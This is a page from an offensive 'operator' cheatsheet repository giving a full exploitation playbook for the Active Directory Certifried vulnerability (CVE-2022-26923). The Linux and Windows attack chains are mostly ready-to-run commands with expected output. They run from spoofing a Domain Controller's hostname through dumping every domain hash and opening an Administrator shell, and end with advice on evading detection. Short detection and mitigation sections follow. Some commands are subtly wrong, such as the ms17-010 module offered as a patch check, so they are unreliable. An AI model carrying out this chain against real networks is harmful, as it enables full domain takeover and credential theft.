daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

certificate-persistence-certifried-cve-2022-26923.md (16219B)


      1 ---
      2 title: "Certificate Persistence — Certifried (CVE-2022-26923)"
      3 description: "Certifried is a privilege escalation vulnerability discovered by Oliver Lyak (the same researcher who wrote Certipy) and disclosed in May 2022. It carries…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "credential-access", "privilege-escalation", "persistence"]
      7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/Certificate Persistence — Certifried (CVE-2022-26923).md"
     11 ---
     12 # Certificate Persistence — Certifried (CVE-2022-26923)
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Privilege Escalation (Default Config CVE) |
     19 | **Difficulty** | Medium |
     20 | **Pre-requisites** | Low-priv domain creds + `MachineAccountQuota > 0` + unpatched (pre-KB5014754) |
     21 | **Tools** | Certipy, Impacket (addcomputer, secretsdump) |
     22 | **OPSEC Noise** | Medium — computer account creation + dNSHostName change |
     23 | **CVE** | CVE-2022-26923 (CVSS 8.8) |
     24 | **One-liner** | Create computer account → spoof dNSHostName to DC hostname → request Machine cert → authenticate as DC → DCSync. |
     25 
     26 ***
     27 
     28 ## What Is Certifried?
     29 
     30 Certifried is a **privilege escalation vulnerability** discovered by **Oliver Lyak** (the same researcher who wrote Certipy) and disclosed in May 2022. It carries a **CVSS score of 8.8** and requires only low-privileged domain credentials to exploit. Unlike all previous ESC attacks which abused *misconfigurations*, Certifried is a **default-configuration vulnerability** — meaning a freshly deployed Active Directory environment with AD CS installed is vulnerable out of the box with no misconfigurations required.
     31 
     32 The root cause is deceptively elegant. When a domain user creates a computer account, AD grants them `Validated Write to dNSHostName` and `Validated Write to servicePrincipalName` permissions on that account. The CA uses the `dNSHostName` attribute to identify machine certificates. By setting a **newly created computer account's `dNSHostName` to match a Domain Controller's hostname**, a low-privileged user can request a certificate that the CA believes belongs to the DC — then authenticate as the DC machine account and DCSync the entire domain.
     33 
     34 ***
     35 
     36 ## The Core Logic
     37 
     38 ```
     39 Normal cert request flow:
     40   User creates computer →  dNSHostName = "MYPC.domain.htb"
     41   Requests Machine cert  →  CA reads dNSHostName
     42   CA issues cert         →  "MYPC.domain.htb"
     43   Authenticates as       →  MYPC$
     44 
     45 Certifried abuse flow:
     46   User creates computer →  dNSHostName = "DC01.domain.htb"   ← SPOOFED
     47   Requests Machine cert  →  CA reads dNSHostName
     48   CA issues cert         →  "DC01.domain.htb"                ← DC's identity
     49   Authenticates as       →  DC01$                            ← DOMAIN CONTROLLER
     50 ```
     51 
     52 The CA has no mechanism to verify that the requester **should** be allowed to claim the DC's hostname — it simply trusts whatever `dNSHostName` says.
     53 
     54 ***
     55 
     56 ## Required Conditions
     57 
     58 | Condition | Notes |
     59 |-----------|-------|
     60 | AD CS is installed in the domain | Default state when CS role is deployed |
     61 | `MachineAccountQuota > 0` (default = 10) | Allows any domain user to create computer accounts  |
     62 | `Machine` or `Computer` template enrollable by domain users | Default on most AD CS deployments |
     63 | **System is unpatched** (pre-May 2022) | KB5014754 patches this — check for it  |
     64 
     65 > 💡 Check `MachineAccountQuota` with:
     66 > ```bash
     67 > netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' -M maq
     68 > # or
     69 > crackmapexec ldap $TARGET -u 'lowpriv' -p 'Password123!' --get-desc-users
     70 > ```
     71 > ```powershell
     72 > Get-ADDomain | Select-Object -ExpandProperty MachineAccountQuota
     73 > ```
     74 
     75 ***
     76 
     77 ## Checking if Patched
     78 
     79 Before attempting, confirm whether the target is patched:
     80 
     81 ```bash
     82 # Check for KB5014754 patch via CrackMapExec
     83 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' -M ms17-010
     84 
     85 # Verify via LDAP — check StrongCertificateBindingEnforcement
     86 netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' \
     87   -x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement'
     88 
     89 # Values:
     90 # 0 = Not enforced     → Certifried works
     91 # 1 = Audit mode       → Certifried likely works
     92 # 2 = Full enforcement → Certifried blocked
     93 ```
     94 
     95 ***
     96 
     97 ## Step 0 — Enumeration
     98 
     99 ```bash
    100 # Standard certipy scan — look for Machine template available
    101 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
    102   -dc-ip $TARGET -stdout
    103 
    104 # Specifically look for this in template output:
    105 # Template Name: Machine
    106 # Client Authentication: True
    107 # Enrollment Rights: DOMAIN\Domain Computers (or Authenticated Users)
    108 ```
    109 
    110 ***
    111 
    112 ## Full Attack Chain — Linux (Certipy + Impacket)
    113 
    114 ### Step 1 — Create a New Computer Account
    115 
    116 ```bash
    117 # Using Impacket addcomputer — requires MachineAccountQuota > 0
    118 impacket-addcomputer \
    119   'domain.htb/lowpriv:Password123!' \
    120   -dc-ip $TARGET \
    121   -computer-name 'EVILPC$' \
    122   -computer-pass 'EvilPass123!'
    123 
    124 # Verify it was created
    125 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
    126   --computers
    127 ```
    128 
    129 **Expected output:**
    130 ```
    131 [*] Successfully added machine account 'EVILPC$' with password 'EvilPass123!'.
    132 ```
    133 
    134 ***
    135 
    136 ### Step 2 — Clear the SPN on the New Computer Account
    137 
    138 This is a **critical prerequisite**. By default, creating a computer account also sets `servicePrincipalName` values that include its own hostname. If you try to change `dNSHostName` to the DC's hostname without first clearing the SPNs, AD's SPN uniqueness check will block the attribute change (because the DC already has those SPNs registered):
    139 
    140 ```bash
    141 # Clear the SPNs on the fake computer account
    142 impacket-addcomputer \
    143   'domain.htb/lowpriv:Password123!' \
    144   -dc-ip $TARGET \
    145   -computer-name 'EVILPC$' \
    146   -computer-pass 'EvilPass123!' \
    147   -spn-clear
    148 
    149 # Or via Certipy directly
    150 certipy-ad account \
    151   -u 'lowpriv@domain.htb' \
    152   -p 'Password123!' \
    153   -dc-ip $TARGET \
    154   -user 'EVILPC$' \
    155   -spn-clear update
    156 ```
    157 
    158 ***
    159 
    160 ### Step 3 — Set dNSHostName to the DC's Hostname
    161 
    162 ```bash
    163 # Change dNSHostName of EVILPC$ to match the Domain Controller
    164 certipy-ad account \
    165   -u 'lowpriv@domain.htb' \
    166   -p 'Password123!' \
    167   -dc-ip $TARGET \
    168   -user 'EVILPC$' \
    169   -dns 'DC01.domain.htb' \
    170   update
    171 
    172 # Verify the change
    173 certipy-ad account \
    174   -u 'lowpriv@domain.htb' \
    175   -p 'Password123!' \
    176   -dc-ip $TARGET \
    177   -user 'EVILPC$' \
    178   lookup
    179 ```
    180 
    181 **Expected output:**
    182 ```
    183 [*] Updating computer account 'EVILPC$'
    184 [*] Successfully updated computer account 'EVILPC$' with attribute dNSHostName = DC01.domain.htb
    185 ```
    186 
    187 > ⚠️ If you get `Constraint Violation` here, the SPN was not cleared properly — go back to Step 2. AD enforces SPN uniqueness which prevents two accounts sharing the same DNS hostname if their SPNs overlap.
    188 
    189 ***
    190 
    191 ### Step 4 — Request a Machine Certificate
    192 
    193 Now request a certificate using the **Machine** template, authenticating as your fake computer account `EVILPC$`. The CA reads `dNSHostName = DC01.domain.htb` and issues a cert for the DC:
    194 
    195 ```bash
    196 certipy-ad req \
    197   -u 'EVILPC$@domain.htb' \
    198   -p 'EvilPass123!' \
    199   -dc-ip $TARGET \
    200   -ca 'DOMAIN-CA-NAME' \
    201   -template 'Machine'
    202 
    203 # Output: dc01.pfx  (named after the DNS hostname it was issued for)
    204 ```
    205 
    206 **Expected output:**
    207 ```
    208 [*] Requesting certificate via RPC
    209 [*] Successfully requested certificate
    210 [*] Request ID is 9
    211 [*] Got certificate with DNS hostname 'DC01.domain.htb'
    212 [*] Saving certificate and private key to 'dc01.pfx'
    213 ```
    214 
    215 > 💡 The cert is saved as `dc01.pfx` — named from the DNS hostname embedded in it. This is your DC impersonation certificate.
    216 
    217 ***
    218 
    219 ### Step 5 — Authenticate as the DC Machine Account
    220 
    221 ```bash
    222 certipy-ad auth \
    223   -pfx dc01.pfx \
    224   -username 'DC01$' \
    225   -domain domain.htb \
    226   -dc-ip $TARGET
    227 ```
    228 
    229 **Expected output:**
    230 ```
    231 [*] Using principal: 'DC01$@domain.htb'
    232 [*] Trying to get TGT...
    233 [*] Got TGT
    234 [*] Saving credential cache to 'DC01$.ccache'
    235 [*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH
    236 ```
    237 
    238 ***
    239 
    240 ### Step 6 — DCSync (Full Domain Compromise)
    241 
    242 ```bash
    243 # Using TGT
    244 export KRB5CCNAME='DC01$.ccache'
    245 secretsdump.py -k -no-pass DC01.domain.htb
    246 
    247 # Using NT hash
    248 secretsdump.py \
    249   -hashes :NTHASH \
    250   'domain.htb/DC01$'@DC01.domain.htb
    251 
    252 # Output:
    253 # Administrator:500:aad3b435...:ADMIN_NTHASH
    254 # krbtgt:502:aad3b435...:KRBTGT_HASH
    255 # All domain hashes...
    256 ```
    257 
    258 ***
    259 
    260 ### Step 7 — Shell as Administrator
    261 
    262 ```bash
    263 # Pass-the-Hash with Administrator hash from DCSync
    264 evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH>
    265 wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
    266 psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
    267 ```
    268 
    269 ***
    270 
    271 ### Optional Step — Clean Up the Fake Computer Account
    272 
    273 ```bash
    274 # Remove the fake computer account after exploitation
    275 impacket-addcomputer \
    276   'domain.htb/lowpriv:Password123!' \
    277   -dc-ip $TARGET \
    278   -computer-name 'EVILPC$' \
    279   -computer-pass 'EvilPass123!' \
    280   -delete
    281 ```
    282 
    283 ***
    284 
    285 ## Full Attack Chain — Windows (PowerShell + Certify.exe + Rubeus)
    286 
    287 ```powershell
    288 # ── Step 1: Create fake computer account ─────────────────────────────────────
    289 Import-Module ActiveDirectory
    290 New-ADComputer -Name "EVILPC" -AccountPassword (ConvertTo-SecureString "EvilPass123!" -AsPlainText -Force)
    291 
    292 # ── Step 2: Clear SPNs ────────────────────────────────────────────────────────
    293 Set-ADComputer -Identity "EVILPC" -ServicePrincipalNames @{}
    294 
    295 # ── Step 3: Set dNSHostName to DC's hostname ──────────────────────────────────
    296 Set-ADComputer -Identity "EVILPC" -DNSHostName "DC01.domain.local"
    297 
    298 # ── Step 4: Request Machine certificate ──────────────────────────────────────
    299 # Run as EVILPC$ account context
    300 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:Machine
    301 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfx
    302 
    303 # ── Step 5: Get TGT as DC01$ ─────────────────────────────────────────────────
    304 .\Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /getcredentials /nowrap
    305 
    306 # ── Step 6: Inject TGT and DCSync ────────────────────────────────────────────
    307 .\Rubeus.exe createnetonly /program:powershell.exe /show
    308 .\Rubeus.exe ptt /ticket:<base64ticket>
    309 Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"'
    310 ```
    311 
    312 ***
    313 
    314 ## Certifried Visual Attack Flow
    315 
    316 ```
    317 [lowpriv@domain.htb]  (MachineAccountQuota > 0)
    318           │
    319           │  addcomputer → EVILPC$
    320           ▼
    321 [EVILPC$ created]
    322           │
    323           │  Clear SPNs on EVILPC$
    324           │  Set dNSHostName = DC01.domain.htb
    325           ▼
    326 [EVILPC$.dNSHostName = DC01.domain.htb]  ← CA reads this
    327           │
    328           │  certipy req -template Machine -u EVILPC$
    329           ▼
    330 [dc01.pfx issued]  ← Contains DC01.domain.htb identity
    331           │
    332           │  certipy auth -pfx dc01.pfx -username DC01$
    333           ▼
    334 [TGT + NT hash for DC01$]
    335           │
    336           │  secretsdump DCSync
    337           ▼
    338 [ALL domain hashes — full compromise]
    339 ```
    340 
    341 ***
    342 
    343 ## Why This Works — The Patch Explanation
    344 
    345 Before KB5014754, the KDC performed certificate-based authentication by **matching the UPN or DNS name in the certificate to an AD object** without enforcing that the requester had rights to claim that identity. Post-patch, the KDC enforces **strong certificate binding** — it looks for an `objectSid` extension in the certificate and validates it matches the AD object being authenticated as. Since `EVILPC$` has a different `objectSid` than `DC01$`, the forged identity is rejected.
    346 
    347 | Pre-Patch | Post-Patch |
    348 |-----------|-----------|
    349 | KDC matches cert `dNSHostName` → finds DC01$ in AD → issues TGT | KDC checks cert `objectSid` extension → `EVILPC$` SID ≠ `DC01$` SID → rejects |
    350 | No SID validation | **objectSid extension in cert is mandatory** |
    351 | Certifried works | Certifried blocked |
    352 
    353 ***
    354 
    355 ## Certifried vs ESC Attacks — Where It Fits
    356 
    357 | | ESC1–7 | ESC8/ESC11 | **Certifried** |
    358 |---|---|---|---|
    359 | **Requires misconfiguration** | ✅ | ✅ | ❌ **Default config is vulnerable** |
    360 | **CVSS Score** | Varies | High | **8.8** |
    361 | **Discovery** | SpecterOps (Will Schroeder) | SpecterOps | **Oliver Lyak (Certipy author)** |
    362 | **Requires domain creds** | ✅ | ⚠️ Sometimes not | ✅ |
    363 | **Requires MachineAccountQuota > 0** | ❌ | ❌ | ✅ |
    364 | **Creates fake computer account** | ❌ | ❌ | ✅ |
    365 | **Patched** | Some | Some | ✅ May 2022 KB5014754 |
    366 | **Post-patch bypass** | Varies | ESC16 | Check `StrongCertificateBindingEnforcement` value |
    367 
    368 ***
    369 
    370 ## Detection Indicators
    371 
    372 - **Event ID 4741** — A computer account was created — alert on any `New-ADComputer` from non-admin accounts
    373 - **Event ID 4742** — A computer account was changed — specifically watch for `dNSHostName` attribute changes on recently created computer accounts
    374 - **Event ID 4768** — Kerberos TGT requested for a machine account (`DC01$`) from an IP that is not the DC's actual IP address
    375 - **LDAP monitoring** — Alert on `dNSHostName` modifications that result in a value matching an existing DC hostname
    376 - **Event ID 4887** — Certificate issued for `DC01.domain.htb` hostname where the requester account is NOT `DC01$`
    377 
    378 ***
    379 
    380 ## Mitigation
    381 
    382 - **Apply KB5014754** — The single most direct fix; enforces strong certificate binding in the KDC
    383 - **Set `StrongCertificateBindingEnforcement = 2`** in the KDC registry key to move from audit mode to full enforcement after ensuring all certificates have been re-issued with the `objectSid` extension
    384 - **Set `MachineAccountQuota = 0`** — Prevents domain users from creating computer accounts; this breaks the attack at Step 1:
    385   ```powershell
    386   Set-ADDomain -Identity domain.htb -Replace @{"ms-DS-MachineAccountQuota"="0"}
    387   ```
    388 - **Monitor `dNSHostName` write events** — Set up SACL auditing on all computer objects for `dNSHostName` attribute modifications
    389 - **Restrict who can add computers** — Delegate computer creation rights only to specific OU-level accounts, not to all authenticated users
    390 
    391 ***
    392 
    393 ## OPSEC Considerations
    394 
    395 | Action | Event Generated | Noise Level |
    396 |--------|----------------|-------------|
    397 | Computer account creation | Event ID 4741 | 🟡 Medium |
    398 | SPN clear on computer account | Event ID 4742 | 🟢 Low |
    399 | dNSHostName change to DC hostname | Event ID 4742 | 🟡 Medium |
    400 | Certificate request (Machine template) | Event ID 4887 on CA | 🟢 Low |
    401 | PKINIT authentication as DC$ | Event ID 4768 (from non-DC IP) | 🔴 High |
    402 | DCSync | Event ID 4662 (replication) | 🔴 High |
    403 | Computer account deletion (cleanup) | Event ID 4743 | 🟡 Medium |
    404 
    405 > ⚠️ The most detectable step is the **PKINIT authentication as DC$** from a non-DC IP address. The dNSHostName change to a DC hostname is also highly anomalous. Execute steps 3–5 rapidly and clean up the fake computer account immediately.
    406 
    407 ***
    408 
    409 ## References
    410 
    411 - [Certifried: Active Directory Domain Privilege Escalation — Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
    412 - [Certifried — The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs/certifried)
    413 - [CVE-2022-26923 Mitigation — SentinelOne](https://www.sentinelone.com/blog/dollar-signs-in-attackers-eyes-how-to-mitigate-cve-2022-26923/)
    414 - [CVE-2022-26923 Detection — SOC Prime](https://socprime.com/blog/cve-2022-26923-detection-active-directory-domain-privilege-escalation-vulnerability/)
    415 - [CVE-2022-26923 Explained — Hack The Box](https://www.hackthebox.com/blog/cve-2022-26923-certifried-explained)
    416 - [CVE-2022-26923 Detail — NVD](https://nvd.nist.gov/vuln/detail/cve-2022-26923)